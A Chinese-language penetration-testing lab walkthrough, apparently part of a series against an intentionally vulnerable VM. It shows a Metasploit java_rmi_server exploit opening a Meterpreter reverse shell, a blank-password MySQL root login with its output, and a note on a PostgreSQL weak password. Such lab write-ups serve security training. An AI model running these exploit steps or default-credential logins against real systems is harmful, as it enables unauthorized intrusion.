渗透测试靶机实战---系统篇03

(续) 渗透测试靶机实战---02

7. Java RMI Server Insecure Default Configuration Remote Code Execution Vulnerability

msf5 exploit(linux/misc/drb_remote_codeexec) > search java_RMI 

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                               normal     No     Java RMI Registry Interfaces Enumeration
   1  auxiliary/scanner/misc/java_rmi_server          2011-10-15       normal     Yes    Java RMI Server Insecure Endpoint Code Execution Scanner
   2  exploit/multi/browser/java_rmi_connection_impl  2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
   3  exploit/multi/misc/java_rmi_server              2011-10-15       excellent  No     Java RMI Server Insecure Default Configuration Java Code Execution


msf5 exploit(linux/misc/drb_remote_codeexec) > use exploit/multi/misc/java_rmi_server
msf5 exploit(multi/misc/java_rmi_server) > show info

       Name: Java RMI Server Insecure Default Configuration Java Code Execution
     Module: exploit/multi/misc/java_rmi_server
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-15

Provided by:
  mihi

Available targets:
  Id  Name
  --  ----
  0   Generic (Java Payload)
  1   Windows x86 (Native Payload)
  2   Linux x86 (Native Payload)
  3   Mac OS X PPC (Native Payload)
  4   Mac OS X x86 (Native Payload)

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS                      yes       The target address range or CIDR identifier
  RPORT      1099             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                     no        The URI to use for this exploit (default is random)

Payload information:
  Avoid: 0 characters

Description:
  This module takes advantage of the default configuration of the RMI 
  Registry and RMI Activation services, which allow loading classes 
  from any remote (HTTP) URL. As it invokes a method in the RMI 
  Distributed Garbage Collector which is available via every RMI 
  endpoint, it can be used against both rmiregistry and rmid, and 
  against most other (custom) RMI endpoints as well. Note that it does 
  not work against Java Management Extension (JMX) ports since those 
  do not support remote class loading, unless another RMI endpoint is 
  active in the same Java process. RMI method calls do not support or 
  require any sort of authentication.

References:
  http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
  http://www.securitytracker.com/id?1026215
  https://cvedetails.com/cve/CVE-2011-3556/

msf5 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.10.149
RHOSTS => 192.168.10.149
msf5 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.135:4444 
[*] 192.168.10.149:1099 - Using URL: http://0.0.0.0:8080/7LJx65WYnvMx
[*] 192.168.10.149:1099 - Local IP: http://192.168.11.135:8080/7LJx65WYnvMx
[*] 192.168.10.149:1099 - Server started.
[*] 192.168.10.149:1099 - Sending RMI Header...
[*] 192.168.10.149:1099 - Sending RMI Call...
[*] 192.168.10.149:1099 - Replied to request for payload JAR
[*] Sending stage (53845 bytes) to 192.168.10.149
[*] Meterpreter session 3 opened (192.168.11.135:4444 -> 192.168.10.149:33325) at 2019-10-12 17:29:09 +0800
[*] 192.168.10.149:1099 - Server stopped.

meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > cd /
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100667/rw-rw-rwx  138      fil   2019-10-12 16:10:34 +0800  .aMndSYRKN0SFWvXN
40666/rw-rw-rw-   4096     dir   2012-05-14 11:35:33 +0800  bin
40666/rw-rw-rw-   1024     dir   2012-05-14 11:36:28 +0800  boot
40666/rw-rw-rw-   4096     dir   2010-03-17 06:55:51 +0800  cdrom
40666/rw-rw-rw-   13440    dir   2019-10-12 09:20:55 +0800  dev
40666/rw-rw-rw-   4096     dir   2019-10-12 16:04:38 +0800  etc
40666/rw-rw-rw-   4096     dir   2010-04-16 14:16:02 +0800  home
40666/rw-rw-rw-   4096     dir   2010-03-17 06:57:40 +0800  initrd
100666/rw-rw-rw-  7929183  fil   2012-05-14 11:35:56 +0800  initrd.img
40666/rw-rw-rw-   4096     dir   2012-05-14 11:35:22 +0800  lib
40666/rw-rw-rw-   16384    dir   2010-03-17 06:55:15 +0800  lost+found
40666/rw-rw-rw-   4096     dir   2010-03-17 06:55:52 +0800  media
40666/rw-rw-rw-   4096     dir   2010-04-29 04:16:56 +0800  mnt
100666/rw-rw-rw-  14672    fil   2019-10-12 16:10:35 +0800  nohup.out
40666/rw-rw-rw-   4096     dir   2010-03-17 06:57:39 +0800  opt
40666/rw-rw-rw-   0        dir   2019-10-12 09:20:18 +0800  proc
40666/rw-rw-rw-   4096     dir   2019-10-12 09:21:07 +0800  root
40666/rw-rw-rw-   4096     dir   2012-05-14 09:54:53 +0800  sbin
40666/rw-rw-rw-   4096     dir   2010-03-17 06:57:38 +0800  srv
40666/rw-rw-rw-   0        dir   2019-10-12 09:20:19 +0800  sys
40666/rw-rw-rw-   4096     dir   2019-10-12 16:25:12 +0800  tmp
40666/rw-rw-rw-   4096     dir   2010-04-28 12:06:37 +0800  usr
40666/rw-rw-rw-   4096     dir   2010-03-17 22:08:23 +0800  var
100666/rw-rw-rw-  1987288  fil   2008-04-11 00:55:41 +0800  vmlinuz

meterpreter > 

利用metasplit可以直接进入系统如上;

 

---

8. PostgreSQL weak password

openVAS已经扫出了用户名/密码，使用mputty的登录方式如下，可以正常进入系统。

 

 

---

9.MySQL / MariaDB weak password

连接进入系统的方式如下：

root@kali:~#  mysql -u root -p -h 192.168.10.149 -P 3306
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 543
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases
    -> ;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+
7 rows in set (0.05 sec)

MySQL [(none)]>

上面让输入密码的地方，直接敲击Enter键就可以了，通过show databases命令可以系统所有的databases显示出来。

 

---

（未完待续） 渗透测试靶机实战---04